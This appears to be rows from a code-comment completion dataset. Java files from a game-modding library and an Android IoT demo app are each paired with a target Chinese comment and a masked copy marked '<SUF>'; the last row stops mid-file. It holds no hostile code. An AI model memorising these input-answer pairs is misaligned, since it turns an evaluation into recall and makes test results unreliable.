/**以lambda模式设置对象的成员函数,lambda模式下对对象的函数变更仅对此对象有效,变更即时生效, * 若需要使变更对所有实例都生效,则应当对此对象的动态类型引用{@link DynamicClass#visitClass(Class, JavaHandleHelper)}方法变更行为样版 * <p>生成器实施应当实现此方法使之调用数据池的{@link DataPool#setFunction(String, Function, Class[])}方法,并将参数一一对应传入 * <p><strong>注意,含有泛型的参数,无论类型参数如何,形式参数类型始终为{@link Object}</strong> * * @param name 设置的函数名称 * @param func 描述函数行为的匿名函数 * @param argTypes 形式参数的类型列表*/ <R> void setFunc(String name, Function<Self, R> func, Class<?>... argTypes); <R> void setFunc(String name, Function.SuperGetFunction<Self, R> func, Class<?>... argTypes); /**与{@link DynamicObject#setFunc(String, Function, Class[])}效果一致,只是传入的函数没有返回值*/ default void setFunc(String name, Function.NonRetFunction<Self> func, Class<?>... argTypes){ setFunc(name, (s, a) -> { func.invoke(s, a); return null; }, argTypes); } /**与{@link DynamicObject#setFunc(String, Function.SuperGetFunction, Class[])}效果一致,只是传入的函数没有返回值*/ default void setFunc(String name, Function.NonRetSuperGetFunc<Self> func, Class<?>... argTypes){ setFunc(name, (s, sup, a) -> { func.invoke(s, sup, a); return null; }, argTypes); } /**执行对象的指定成员函数 * * @param name 函数名称 * @param args 传递给函数的实参列表 * @return 函数返回值*/ default <R> R invokeFunc(String name, Object... args){ ArgumentList lis = ArgumentList.as(args); R r = invokeFunc(name, lis); lis.type().recycle(); lis.recycle(); return r; } /**指明形式参数列表执行对象的指定成员函数,如果参数中有从类型派生的对象或者null值,使用type明确指定形参类型可以有效提升执行效率 * * @param name 函数名称 * @param args 传递给函数的实参列表 * @return 函数返回值*/ default <R> R invokeFunc(FunctionType type, String name, Object... args){ ArgumentList lis = ArgumentList.asWithType(type, args); R r = invokeFunc(name, lis); lis.recycle(); return r; } /**直接传入{@link ArgumentList}作为实参列表的函数调用,方法内完成拆箱,便于在匿名函数中对另一函数进行引用而无需拆箱 * * @param name 函数名称 * @param args 是按列表的封装对象 * @return 函数返回值*/ default <R> R invokeFunc(String name, ArgumentList args){ FunctionType type = args.type(); Function<Self, R> res = getFunc(name, type).getFunction(); if(res == null) throw new IllegalHandleException("no such method declared: " + name); return res.invoke( this, args); } /**将对象自身经过一次强转换并返回*/ default <T extends Self> T objSelf(){ return (T) this; } //primitive getters and setters //我讨厌装箱类型,是的,相当讨厌...... default boolean getVar(String name, boolean def){ IVariable var = getVariable(name); if(var == null) throw new IllegalHandleException("variable " + name + " was not defined"); return var.get(this, def); } default byte getVar(String name, byte def){ IVariable var = getVariable(name); if(var == null) throw new IllegalHandleException("variable " + name + " was not defined"); return var.get(this, def); } default short getVar(String name, short def){ IVariable var = getVariable(name); if(var == null) throw new IllegalHandleException("variable " + name + " was not defined"); return var.get(this, def); } default int getVar(String name, int def){ IVariable var = getVariable(name); if(var == null) throw new IllegalHandleException("variable " + name + " was not defined"); return var.get(this, def); } default long getVar(String name, long def){ IVariable var = getVariable(name); if(var == null) throw new IllegalHandleException("variable " + name + " was not defined"); return var.get(this, def); } default float getVar(String name, float def){ IVariable var = getVariable(name); if(var == null) throw new IllegalHandleException("variable " + name + " was not defined"); return var.get(this, def); } default double getVar(String name, double def){ IVariable var = getVariable(name); if(var == null) throw new IllegalHandleException("variable " + name + " was not defined"); return var.get(this, def); } default void setVar(String name, boolean value){ IVariable var = getVariable(name); if(var == null){ var = new Variable(name); setVariable(var); } var.set(this, value); } default void setVar(String name, byte value){ IVariable var = getVariable(name); if(var == null){ var = new Variable(name); setVariable(var); } var.set(this, value); } default void setVar(String name, short value){ IVariable var = getVariable(name); if(var == null){ var = new Variable(name); setVariable(var); } var.set(this, value); } default void setVar(String name, int value){ IVariable var = getVariable(name); if(var == null){ var = new Variable(name); setVariable(var); } var.set(this, value); } default void setVar(String name, long value){ IVariable var = getVariable(name); if(var == null){ var = new Variable(name); setVariable(var); } var.set(this, value); } default void setVar(String name, float value){ IVariable var = getVariable(name); if(var == null){ var = new Variable(name); setVariable(var); } var.set(this, value); } default void setVar(String name, double value){ IVariable var = getVariable(name); if(var == null){ var = new Variable(name); setVariable(var); } var.set(this, value); } default boolean calculateVar(String name, Calculator.BoolCalculator calculator){ boolean res; setVar(name, res = calculator.calculate(getVar(name))); return res; } default byte calculateVar(String name, Calculator.ByteCalculator calculator){ byte res; setVar(name, res = calculator.calculate(getVar(name))); return res; } default short calculateVar(String name, Calculator.ShortCalculator calculator){ short res; setVar(name, res = calculator.calculate(getVar(name))); return res; } default int calculateVar(String name, Calculator.IntCalculator calculator){ int res; setVar(name, res = calculator.calculate(getVar(name))); return res; } default long calculateVar(String name, Calculator.LongCalculator calculator){ long res; setVar(name, res = calculator.calculate(getVar(name))); return res; } default float calculateVar(String name, Calculator.FloatCalculator calculator){ float res; setVar(name, res = calculator.calculate(getVar(name))); return res; } default double calculateVar(String name, Calculator.DoubleCalculator calculator){ double res; setVar(name, res = calculator.calculate(getVar(name))); return res; } }
0
55716_2
package universecore.math.gravity; import arc.math.geom.Vec2; import universecore.annotations.Annotations; /**引力系统接口,引力运算时的处理单元 * * @since 1.3 * @author EBwilson*/ public interface GravitySystem{ /**该系统所激发的引力场*/ @Annotations.BindField("gravityField") default GravityField field(){ return null; } /**系统总质量,单位千吨(kt),允许质量为负数,两个系统质量符号相同互相吸引,否则互相排斥*/ float mass(); /**系统重心的位置矢量*/ Vec2 position(); /**引力更新调用此方法,将计算出的加速度作为参数传入*/ void gravityUpdate(Vec2 acceleration); }
EB-wilson/UniverseCore
core/src/main/java/universecore/math/gravity/GravitySystem.java
194
/**系统总质量,单位千吨(kt),允许质量为负数,两个系统质量符号相同互相吸引,否则互相排斥*/
block_comment
zh-cn
package universecore.math.gravity; import arc.math.geom.Vec2; import universecore.annotations.Annotations; /**引力系统接口,引力运算时的处理单元 * * @since 1.3 * @author EBwilson*/ public interface GravitySystem{ /**该系统所激发的引力场*/ @Annotations.BindField("gravityField") default GravityField field(){ return null; } /**系统总 <SUF>*/ float mass(); /**系统重心的位置矢量*/ Vec2 position(); /**引力更新调用此方法,将计算出的加速度作为参数传入*/ void gravityUpdate(Vec2 acceleration); }
1
22538_2
package com.example.dell.iotplatformdemo.Activity; import android.content.Intent; import android.os.Build; import android.os.Bundle; import android.support.annotation.RequiresApi; import android.support.v4.widget.DrawerLayout; import android.support.v7.widget.LinearLayoutManager; import android.support.v7.widget.RecyclerView; import android.util.Log; import android.view.LayoutInflater; import android.view.View; import android.widget.Button; import android.widget.ImageButton; import android.widget.RelativeLayout; import android.widget.TextView; import com.example.dell.iotplatformdemo.Base.BaseActivity; import com.example.dell.iotplatformdemo.Base.Utils.RecyclerViewDivider; import com.example.dell.iotplatformdemo.Bean.Device; import com.example.dell.iotplatformdemo.Bean.Scene; import com.example.dell.iotplatformdemo.Fragement.AirConditionFragment; import com.example.dell.iotplatformdemo.Fragement.AirIndexFragment; import com.example.dell.iotplatformdemo.Fragement.BulbFragment; import com.example.dell.iotplatformdemo.Fragement.FanFragment; import com.example.dell.iotplatformdemo.Intereface.callBack; import com.example.dell.iotplatformdemo.R; import com.example.dell.iotplatformdemo.Tools.DataSave; import com.zhy.adapter.recyclerview.CommonAdapter; import com.zhy.adapter.recyclerview.base.ViewHolder; import com.zhy.adapter.recyclerview.wrapper.EmptyWrapper; import java.util.ArrayList; import java.util.List; import butterknife.BindView; import butterknife.ButterKnife; import butterknife.OnClick; public class MainActivity extends BaseActivity { @BindView(R.id.device_left) TextView deviceLeft; @BindView(R.id.device_title) TextView deviceTitle; @BindView(R.id.add_device) ImageButton addDevice; @BindView(R.id.device_rv) RecyclerView deviceRv; @BindView(R.id.imageButton) TextView deleteIbn; @BindView(R.id.main_add_device) Button mainAddDevice; @BindView(R.id.device_empty) RelativeLayout deviceEmpty; @BindView(R.id.title_drawer) TextView titleDrawer; @BindView(R.id.view) View view; @BindView(R.id.view_root) DrawerLayout viewRoot; private DataSave dataSave; private List<Scene> sceneList; private List<Device> deviceList; private Device mDevice = null; private BulbFragment bulbFragment; private AirConditionFragment airConditionFragment; private FanFragment fanFragment; private AirIndexFragment airIndexFragment; private Scene scene; private static int ADD_DEVICE_REQUEST_CODE = 0x01; private CommonAdapter<Device> mAdapter; private EmptyWrapper<Device> emptyWrapper; private boolean deleteVisible = false; private callBack mFragemntBulbCall, mFragmentFanCall, mFragmentAirIndexCall, mFragmentAirConditionCall; private static int CURRENT_FRAGMENT = 0; @Override protected int getLayoutId() { return R.layout.activity_main; } @Override protected void initData() { addFragment(); dataSave = new DataSave(getApplication(), "DevicePreference"); //判断是否有数据存入 if (!dataSave.getBoolean("initdata")) { Log.i(TAG, "保存数据"); String[] scenes = {"客厅", "书房", "办公室", "卧室"}; for (int i = 0; i < 4; i++) { sceneList.add(new Scene(i, scenes[i], 0, null)); } dataSave.saveBoolean("initdata", true); dataSave.setDataList("sceneList", sceneList); Log.i(TAG, dataSave.getBoolean("initdata") + "初始化"); } Log.i(TAG, "dataSave不为空"); sceneList = dataSave.getDataList("sceneList"); //设置场景名称 Log.i(TAG, "场景名称:" + sceneList.get(0).getName()); //解决解析时乱序问题 for (int i = 0; i < sceneList.size(); i++) { Log.i(TAG, sceneList.get(i).getId() + "id"); if (sceneList.get(i).getId() == 0) { Log.i(TAG, "获取scene"); scene = sceneList.get(i); // deviceList=scene.getDeviceList(); break; } } initScene(scene); } private void setAdapter() { mAdapter = new CommonAdapter<Device>(this, R.layout.item_device, deviceList) { @RequiresApi(api = Build.VERSION_CODES.LOLLIPOP) @Override protected void convert(final ViewHolder holder, final Device device, final int position) { Log.i(TAG, "绑定item"); holder.setText(R.id.device_name, device.getDevice_name()); if (device.getDevice_type().equals("灯泡")){ /* if (position == 0) {*/ holder.setImageDrawable(R.id.device_image, getDrawable(R.drawable.machine_ir_switch_1)); /* } else { holder.setImageDrawable(R.id.device_image, getDrawable(R.drawable.machine_ir_switch_2))*/; } else if (device.getDevice_type().equals("风扇")) { /* if (position == 0)*/ holder.setImageDrawable(R.id.device_image, getDrawable(R.drawable.machine_fan_tag_1)); /* else holder.setImageDrawable(R.id.device_image, getDrawable(R.drawable.machine_fan_tag_2));*/ } else if (device.getDevice_type().equals("空气指数")) { /* if (position == 0)*/ holder.setImageDrawable(R.id.device_image, getDrawable(R.drawable.machine_air_evolution1)); /* else holder.setImageDrawable(R.id.device_image, getDrawable(R.drawable.machine_air_evolution2));*/ } else if (device.getDevice_type().equals("空调")) { /* if (position == 0)*/ holder.setImageDrawable(R.id.device_image, getDrawable(R.drawable.machine_air_tag_1)); /* else holder.setImageDrawable(R.id.device_image, getDrawable(R.drawable.machine_air_tag_2));*/ } holder.setVisible(R.id.delete_device, deleteVisible); holder.setOnClickListener(R.id.item_device, new View.OnClickListener() { @Override public void onClick(View v) { mDevice = deviceList.get(position); deviceTitle.setText(device.getDevice_name()); if (deviceList.get(position).getDevice_type().equals("灯泡")) { holder.setImageDrawable(R.id.device_image, getDrawable(R.drawable.machine_ir_switch_1)); mFragemntBulbCall.fragmentcallBack(mDevice); if (CURRENT_FRAGMENT != BulbFragment.FRAGMENT_CODE) { CURRENT_FRAGMENT=BulbFragment.FRAGMENT_CODE; getSupportFragmentManager().beginTransaction(). show(bulbFragment).hide(airConditionFragment) .hide(fanFragment) .hide(airIndexFragment) .commit(); Log.i(TAG, "跳转bulbFragment"); } } else if (deviceList.get(position).getDevice_type().equals("风扇")) { holder.setImageDrawable(R.id.device_image, getDrawable(R.drawable.machine_fan_tag_1)); mFragmentFanCall.fragmentcallBack(mDevice); if (CURRENT_FRAGMENT != FanFragment.FRAGMENT_CODE){ CURRENT_FRAGMENT=FanFragment.FRAGMENT_CODE; getSupportFragmentManager().beginTransaction().show(fanFragment) .hide(bulbFragment) .hide(airConditionFragment) .hide(airIndexFragment) .commit(); Log.i(TAG, "跳转fanFragment");} } else if (deviceList.get(position).getDevice_type().equals("空气指数")) { CURRENT_FRAGMENT=AirIndexFragment.FRAGMENT_CODE; mFragmentAirIndexCall.fragmentcallBack(mDevice); getSupportFragmentManager().beginTransaction().show(airIndexFragment) .hide(airConditionFragment) .hide(bulbFragment) .hide(fanFragment) .commit(); Log.i(TAG,"跳转airIndexFragment"); }else if (deviceList.get(position).getDevice_type().equals("空调")){ CURRENT_FRAGMENT=AirConditionFragment.FRAGMENT_CODE; mFragmentAirConditionCall.fragmentcallBack(mDevice); getSupportFragmentManager().beginTransaction().show(airConditionFragment) .hide(airIndexFragment) .hide(bulbFragment) .hide(fanFragment) .commit(); Log.i(TAG,"跳转airConditionFragment"); } } }); holder.setOnClickListener(R.id.delete_device, new View.OnClickListener() { @Override public void onClick(View v) { Log.i(TAG, "点击删除" + position); deviceList.remove(position); scene.setDeviceList(deviceList); for (int i = 0; i < sceneList.size(); i++) if (scene.getId() == sceneList.get(i).getId()) { sceneList.get(i).setDeviceList(deviceList); sceneList.get(i).setNumber(sceneList.get(i).getDeviceList().size()); } saveChange(); /*emptyWrapper.notifyItemRemoved(position); emptyWrapper.notifyItemRangeChanged(position, emptyWrapper.getItemCount()); mAdapter.notifyItemRemoved(position);*/ initScene(scene); } }); } }; emptyWrapper = new EmptyWrapper<Device>(mAdapter); emptyWrapper.setEmptyView(LayoutInflater.from(this).inflate(R.layout.layout_empty, deviceRv, false)); deviceRv.setAdapter(emptyWrapper); } @Override protected void initView() { setDeleteVisible(); sceneList = new ArrayList<>(); deviceList = new ArrayList<>(); LinearLayoutManager layoutManager = new LinearLayoutManager(this); deviceRv.setLayoutManager(layoutManager); deviceRv.setHasFixedSize(true); deviceRv.addItemDecoration(new RecyclerViewDivider(this, LinearLayoutManager.HORIZONTAL)); } private void AddDevicehide(Boolean isHide) { if (isHide) deviceEmpty.setVisibility(View.GONE); else deviceEmpty.setVisibility(View.VISIBLE); } @Override protected void setData() { } private void addFragment() { bulbFragment = new BulbFragment(); airConditionFragment = new AirConditionFragment(); fanFragment = new FanFragment(); airIndexFragment = new AirIndexFragment(); getSupportFragmentManager().beginTransaction().add(R.id.fragment_device, bulbFragment).add(R.id.fragment_device, airConditionFragment) .add(R.id.fragment_device, fanFragment) .add(R.id.fragment_device, airIndexFragment).commit(); mFragemntBulbCall = bulbFragment; mFragmentFanCall = fanFragment; mFragmentAirConditionCall = airConditionFragment; mFragmentAirIndexCall = airIndexFragment; // mFragmentACCall=airConditionFragment; } @Override protected void getBundleExtras(Bundle bundle) { } @RequiresApi(api = Build.VERSION_CODES.M) @OnClick({R.id.device_left, R.id.add_device, R.id.imageButton}) public void onViewClicked(View view) { switch (view.getId()) { case R.id.device_left: Intent intent = new Intent(this, SceneActivity.class); startActivityForResult(intent, 0x02); break; case R.id.add_device: addDevice(); break; case R.id.imageButton: Log.i(TAG, "点击删除"); if (!deleteVisible) { deleteIbn.setBackground(null); deleteIbn.setText("取消"); } else { deleteIbn.setBackground(getResources().getDrawable(android.R.drawable.ic_menu_delete)); deleteIbn.setText(null); } deleteVisible = !deleteVisible; setAdapter(); break; } } @OnClick(R.id.main_add_device) public void onViewClicked() { addDevice(); } private void setDeleteVisible() { View view = View.inflate(this, R.layout.item_device, null); ImageButton imageButton = view.findViewById(R.id.delete_device); if (deleteVisible) imageButton.setVisibility(View.VISIBLE); else imageButton.setVisibility(View.INVISIBLE); } private void addDevice() { Intent intent = new Intent(this, AddDeviceActivity.class); startActivityForResult(intent, ADD_DEVICE_REQUEST_CODE); } @Override protected void onActivityResult(int requestCode, int resultCode, Intent data) { // super.onActivityResult(requestCode, resultCode, data); if (requestCode == ADD_DEVICE_REQUEST_CODE && data.getBooleanExtra("addSuccess", false)) { AddDevicehide(true); mDevice = (Device) data.getSerializableExtra("mDevice"); for (int i = 0; i < sceneList.size(); i++) { if (sceneList.get(i).getId() == scene.getId()) { //添加 if(deviceList==null) deviceList=new ArrayList<>(); deviceList.add(mDevice); sceneList.get(i).setDeviceList(deviceList); sceneList.get(i).setNumber(deviceList.size()); scene = sceneList.get(i); break; } } Log.i(TAG, "保存"); dataSave.setDataList("sceneList", sceneList); titleDrawer.setText(scene.getName()); deviceLeft.setText(scene.getName()); setAdapter(); emptyWrapper.notifyItemInserted(emptyWrapper.getItemCount()); mAdapter.notifyItemInserted(mAdapter.getItemCount()); deviceTitle.setText(mDevice.getDevice_name()); if (mDevice.getDevice_type().equals("灯泡")) { mFragemntBulbCall.fragmentcallBack(mDevice); getSupportFragmentManager().beginTransaction().show(bulbFragment).hide(airConditionFragment).hide(fanFragment).hide(airIndexFragment).commitAllowingStateLoss(); CURRENT_FRAGMENT = BulbFragment.FRAGMENT_CODE; } else if (mDevice.getDevice_type().equals("风扇")) { fanFragment.fragmentcallBack(mDevice); getSupportFragmentManager().beginTransaction().show(fanFragment).hide(bulbFragment).hide(airConditionFragment).hide(airIndexFragment).commitAllowingStateLoss(); CURRENT_FRAGMENT = FanFragment.FRAGMENT_CODE; } else if (mDevice.getDevice_type().equals("空气指数")) { mFragmentAirIndexCall.fragmentcallBack(mDevice); getSupportFragmentManager().beginTransaction().show(airIndexFragment).hide(fanFragment).hide(bulbFragment).hide(airConditionFragment).commitAllowingStateLoss(); } else if (mDevice.getDevice_type().equals("空调")) { CURRENT_FRAGMENT=AirConditionFragment.FRAGMENT_CODE; mFragmentAirConditionCall.fragmentcallBack(mDevice); getSupportFragmentManager().beginTransaction().show(airConditionFragment).hide(airIndexFragment).hide(fanFragment).hide(bulbFragment).commitAllowingStateLoss(); } } else { if (requestCode == 0x02 && data.getBooleanExtra("select", false)) { for (int i = 0; i < sceneList.size(); i++) { if (sceneList.get(i).getId() == data.getIntExtra("sceneId", 0)) { scene = sceneList.get(i); break; } } initScene(scene); } } } private void initScene(Scene scene) { deviceLeft.setText(scene.getName()); //判断当前场景是否存在设备 titleDrawer.setText(scene.getName()); if (scene.getNumber() != 0) { Log.i(TAG, "隐藏添加"); AddDevicehide(true); deviceList = scene.getDeviceList(); setAdapter(); emptyWrapper.notifyItemInserted(emptyWrapper.getItemCount()); mAdapter.notifyItemInserted(mAdapter.getItemCount()); Log.i(TAG, "设备view" + mAdapter.getItemCount()); mDevice = deviceList.get(0); deviceTitle.setText(mDevice.getDevice_name()); if (mDevice.getDevice_type().equals("灯泡")) { Log.i(TAG, "fragment可见"); CURRENT_FRAGMENT = BulbFragment.FRAGMENT_CODE; mFragemntBulbCall.fragmentcallBack(mDevice); getSupportFragmentManager().beginTransaction().show(bulbFragment).hide(airConditionFragment).hide(fanFragment).hide(airIndexFragment).commitAllowingStateLoss(); } else if (mDevice.getDevice_type().equals("风扇")) { CURRENT_FRAGMENT = FanFragment.FRAGMENT_CODE; mFragmentFanCall.fragmentcallBack(mDevice); getSupportFragmentManager().beginTransaction().show(fanFragment).hide(bulbFragment).hide(airConditionFragment).hide(airIndexFragment).commitAllowingStateLoss(); }else if (mDevice.getDevice_type().equals("空调")){ CURRENT_FRAGMENT=AirConditionFragment.FRAGMENT_CODE; mFragmentAirConditionCall.fragmentcallBack(mDevice); getSupportFragmentManager().beginTransaction().show(airConditionFragment).hide(fanFragment).hide(bulbFragment).hide(airIndexFragment).commitAllowingStateLoss(); }else if (mDevice.getDevice_type().equals("空气指数")){ CURRENT_FRAGMENT=AirIndexFragment.FRAGMENT_CODE; mFragmentAirIndexCall.fragmentcallBack(mDevice); getSupportFragmentManager().beginTransaction().show(airIndexFragment).hide(fanFragment).hide(bulbFragment).hide(airConditionFragment).commitAllowingStateLoss(); } } else { AddDevicehide(false); deviceList = new ArrayList<>(); setAdapter(); } } @Override public void onBackPressed() { super.onBackPressed(); } private void saveChange() { dataSave.setDataList("sceneList", sceneList); } @Override protected void onDestroy() { // dataSave.setDataList("sceneList",sceneList); super.onDestroy(); } @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); // TODO: add setContentView(...) invocation ButterKnife.bind(this); } }
ECSLab/ES_IoT_Cloud
AndroidAppDemo/app/src/main/java/com/example/dell/iotplatformdemo/Activity/MainActivity.java
4,449
//解决解析时乱序问题
line_comment
zh-cn
package com.example.dell.iotplatformdemo.Activity; import android.content.Intent; import android.os.Build; import android.os.Bundle; import android.support.annotation.RequiresApi; import android.support.v4.widget.DrawerLayout; import android.support.v7.widget.LinearLayoutManager; import android.support.v7.widget.RecyclerView; import android.util.Log; import android.view.LayoutInflater; import android.view.View; import android.widget.Button; import android.widget.ImageButton; import android.widget.RelativeLayout; import android.widget.TextView; import com.example.dell.iotplatformdemo.Base.BaseActivity; import com.example.dell.iotplatformdemo.Base.Utils.RecyclerViewDivider; import com.example.dell.iotplatformdemo.Bean.Device; import com.example.dell.iotplatformdemo.Bean.Scene; import com.example.dell.iotplatformdemo.Fragement.AirConditionFragment; import com.example.dell.iotplatformdemo.Fragement.AirIndexFragment; import com.example.dell.iotplatformdemo.Fragement.BulbFragment; import com.example.dell.iotplatformdemo.Fragement.FanFragment; import com.example.dell.iotplatformdemo.Intereface.callBack; import com.example.dell.iotplatformdemo.R; import com.example.dell.iotplatformdemo.Tools.DataSave; import com.zhy.adapter.recyclerview.CommonAdapter; import com.zhy.adapter.recyclerview.base.ViewHolder; import com.zhy.adapter.recyclerview.wrapper.EmptyWrapper; import java.util.ArrayList; import java.util.List; import butterknife.BindView; import butterknife.ButterKnife; import butterknife.OnClick; public class MainActivity extends BaseActivity { @BindView(R.id.device_left) TextView deviceLeft; @BindView(R.id.device_title) TextView deviceTitle; @BindView(R.id.add_device) ImageButton addDevice; @BindView(R.id.device_rv) RecyclerView deviceRv; @BindView(R.id.imageButton) TextView deleteIbn; @BindView(R.id.main_add_device) Button mainAddDevice; @BindView(R.id.device_empty) RelativeLayout deviceEmpty; @BindView(R.id.title_drawer) TextView titleDrawer; @BindView(R.id.view) View view; @BindView(R.id.view_root) DrawerLayout viewRoot; private DataSave dataSave; private List<Scene> sceneList; private List<Device> deviceList; private Device mDevice = null; private BulbFragment bulbFragment; private AirConditionFragment airConditionFragment; private FanFragment fanFragment; private AirIndexFragment airIndexFragment; private Scene scene; private static int ADD_DEVICE_REQUEST_CODE = 0x01; private CommonAdapter<Device> mAdapter; private EmptyWrapper<Device> emptyWrapper; private boolean deleteVisible = false; private callBack mFragemntBulbCall, mFragmentFanCall, mFragmentAirIndexCall, mFragmentAirConditionCall; private static int CURRENT_FRAGMENT = 0; @Override protected int getLayoutId() { return R.layout.activity_main; } @Override protected void initData() { addFragment(); dataSave = new DataSave(getApplication(), "DevicePreference"); //判断是否有数据存入 if (!dataSave.getBoolean("initdata")) { Log.i(TAG, "保存数据"); String[] scenes = {"客厅", "书房", "办公室", "卧室"}; for (int i = 0; i < 4; i++) { sceneList.add(new Scene(i, scenes[i], 0, null)); } dataSave.saveBoolean("initdata", true); dataSave.setDataList("sceneList", sceneList); Log.i(TAG, dataSave.getBoolean("initdata") + "初始化"); } Log.i(TAG, "dataSave不为空"); sceneList = dataSave.getDataList("sceneList"); //设置场景名称 Log.i(TAG, "场景名称:" + sceneList.get(0).getName()); //解决 <SUF> for (int i = 0; i < sceneList.size(); i++) { Log.i(TAG, sceneList.get(i).getId() + "id"); if (sceneList.get(i).getId() == 0) { Log.i(TAG, "获取scene"); scene = sceneList.get(i); // deviceList=scene.getDeviceList(); break; } } initScene(scene); } private void setAdapter() { mAdapter = new CommonAdapter<Device>(this, R.layout.item_device, deviceList) { @RequiresApi(api = Build.VERSION_CODES.LOLLIPOP) @Override protected void convert(final ViewHolder holder, final Device device, final int position) { Log.i(TAG, "绑定item"); holder.setText(R.id.device_name, device.getDevice_name()); if (device.getDevice_type().equals("灯泡")){ /* if (position == 0) {*/ holder.setImageDrawable(R.id.device_image, getDrawable(R.drawable.machine_ir_switch_1)); /* } else { holder.setImageDrawable(R.id.device_image, getDrawable(R.drawable.machine_ir_switch_2))*/; } else if (device.getDevice_type().equals("风扇")) { /* if (position == 0)*/ holder.setImageDrawable(R.id.device_image, getDrawable(R.drawable.machine_fan_tag_1)); /* else holder.setImageDrawable(R.id.device_image, getDrawable(R.drawable.machine_fan_tag_2));*/ } else if (device.getDevice_type().equals("空气指数")) { /* if (position == 0)*/ holder.setImageDrawable(R.id.device_image, getDrawable(R.drawable.machine_air_evolution1)); /* else holder.setImageDrawable(R.id.device_image, getDrawable(R.drawable.machine_air_evolution2));*/ } else if (device.getDevice_type().equals("空调")) { /* if (position == 0)*/ holder.setImageDrawable(R.id.device_image, getDrawable(R.drawable.machine_air_tag_1)); /* else holder.setImageDrawable(R.id.device_image, getDrawable(R.drawable.machine_air_tag_2));*/ } holder.setVisible(R.id.delete_device, deleteVisible); holder.setOnClickListener(R.id.item_device, new View.OnClickListener() { @Override public void onClick(View v) { mDevice = deviceList.get(position); deviceTitle.setText(device.getDevice_name()); if (deviceList.get(position).getDevice_type().equals("灯泡")) { holder.setImageDrawable(R.id.device_image, getDrawable(R.drawable.machine_ir_switch_1)); mFragemntBulbCall.fragmentcallBack(mDevice); if (CURRENT_FRAGMENT != BulbFragment.FRAGMENT_CODE) { CURRENT_FRAGMENT=BulbFragment.FRAGMENT_CODE; getSupportFragmentManager().beginTransaction(). show(bulbFragment).hide(airConditionFragment) .hide(fanFragment) .hide(airIndexFragment) .commit(); Log.i(TAG, "跳转bulbFragment"); } } else if (deviceList.get(position).getDevice_type().equals("风扇")) { holder.setImageDrawable(R.id.device_image, getDrawable(R.drawable.machine_fan_tag_1)); mFragmentFanCall.fragmentcallBack(mDevice); if (CURRENT_FRAGMENT != FanFragment.FRAGMENT_CODE){ CURRENT_FRAGMENT=FanFragment.FRAGMENT_CODE; getSupportFragmentManager().beginTransaction().show(fanFragment) .hide(bulbFragment) .hide(airConditionFragment) .hide(airIndexFragment) .commit(); Log.i(TAG, "跳转fanFragment");} } else if (deviceList.get(position).getDevice_type().equals("空气指数")) { CURRENT_FRAGMENT=AirIndexFragment.FRAGMENT_CODE; mFragmentAirIndexCall.fragmentcallBack(mDevice); getSupportFragmentManager().beginTransaction().show(airIndexFragment) .hide(airConditionFragment) .hide(bulbFragment) .hide(fanFragment) .commit(); Log.i(TAG,"跳转airIndexFragment"); }else if (deviceList.get(position).getDevice_type().equals("空调")){ CURRENT_FRAGMENT=AirConditionFragment.FRAGMENT_CODE; mFragmentAirConditionCall.fragmentcallBack(mDevice); getSupportFragmentManager().beginTransaction().show(airConditionFragment) .hide(airIndexFragment) .hide(bulbFragment) .hide(fanFragment) .commit(); Log.i(TAG,"跳转airConditionFragment"); } } }); holder.setOnClickListener(R.id.delete_device, new View.OnClickListener() { @Override public void onClick(View v) { Log.i(TAG, "点击删除" + position); deviceList.remove(position); scene.setDeviceList(deviceList); for (int i = 0; i < sceneList.size(); i++) if (scene.getId() == sceneList.get(i).getId()) { sceneList.get(i).setDeviceList(deviceList); sceneList.get(i).setNumber(sceneList.get(i).getDeviceList().size()); } saveChange(); /*emptyWrapper.notifyItemRemoved(position); emptyWrapper.notifyItemRangeChanged(position, emptyWrapper.getItemCount()); mAdapter.notifyItemRemoved(position);*/ initScene(scene); } }); } }; emptyWrapper = new EmptyWrapper<Device>(mAdapter); emptyWrapper.setEmptyView(LayoutInflater.from(this).inflate(R.layout.layout_empty, deviceRv, false)); deviceRv.setAdapter(emptyWrapper); } @Override protected void initView() { setDeleteVisible(); sceneList = new ArrayList<>(); deviceList = new ArrayList<>(); LinearLayoutManager layoutManager = new LinearLayoutManager(this); deviceRv.setLayoutManager(layoutManager); deviceRv.setHasFixedSize(true); deviceRv.addItemDecoration(new RecyclerViewDivider(this, LinearLayoutManager.HORIZONTAL)); } private void AddDevicehide(Boolean isHide) { if (isHide) deviceEmpty.setVisibility(View.GONE); else deviceEmpty.setVisibility(View.VISIBLE); } @Override protected void setData() { } private void addFragment() { bulbFragment = new BulbFragment(); airConditionFragment = new AirConditionFragment(); fanFragment = new FanFragment(); airIndexFragment = new AirIndexFragment(); getSupportFragmentManager().beginTransaction().add(R.id.fragment_device, bulbFragment).add(R.id.fragment_device, airConditionFragment) .add(R.id.fragment_device, fanFragment) .add(R.id.fragment_device, airIndexFragment).commit(); mFragemntBulbCall = bulbFragment; mFragmentFanCall = fanFragment; mFragmentAirConditionCall = airConditionFragment; mFragmentAirIndexCall = airIndexFragment; // mFragmentACCall=airConditionFragment; } @Override protected void getBundleExtras(Bundle bundle) { } @RequiresApi(api = Build.VERSION_CODES.M) @OnClick({R.id.device_left, R.id.add_device, R.id.imageButton}) public void onViewClicked(View view) { switch (view.getId()) { case R.id.device_left: Intent intent = new Intent(this, SceneActivity.class); startActivityForResult(intent, 0x02); break; case R.id.add_device: addDevice(); break; case R.id.imageButton: Log.i(TAG, "点击删除"); if (!deleteVisible) { deleteIbn.setBackground(null); deleteIbn.setText("取消"); } else { deleteIbn.setBackground(getResources().getDrawable(android.R.drawable.ic_menu_delete)); deleteIbn.setText(null); } deleteVisible = !deleteVisible; setAdapter(); break; } } @OnClick(R.id.main_add_device) public void onViewClicked() { addDevice(); } private void setDeleteVisible() { View view = View.inflate(this, R.layout.item_device, null); ImageButton imageButton = view.findViewById(R.id.delete_device); if (deleteVisible) imageButton.setVisibility(View.VISIBLE); else imageButton.setVisibility(View.INVISIBLE); } private void addDevice() { Intent intent = new Intent(this, AddDeviceActivity.class); startActivityForResult(intent, ADD_DEVICE_REQUEST_CODE); } @Override protected void onActivityResult(int requestCode, int resultCode, Intent data) { // super.onActivityResult(requestCode, resultCode, data); if (requestCode == ADD_DEVICE_REQUEST_CODE && data.getBooleanExtra("addSuccess", false)) { AddDevicehide(true); mDevice = (Device) data.getSerializableExtra("mDevice"); for (int i = 0; i < sceneList.size(); i++) { if (sceneList.get(i).getId() == scene.getId()) { //添加 if(deviceList==null) deviceList=new ArrayList<>(); deviceList.add(mDevice); sceneList.get(i).setDeviceList(deviceList); 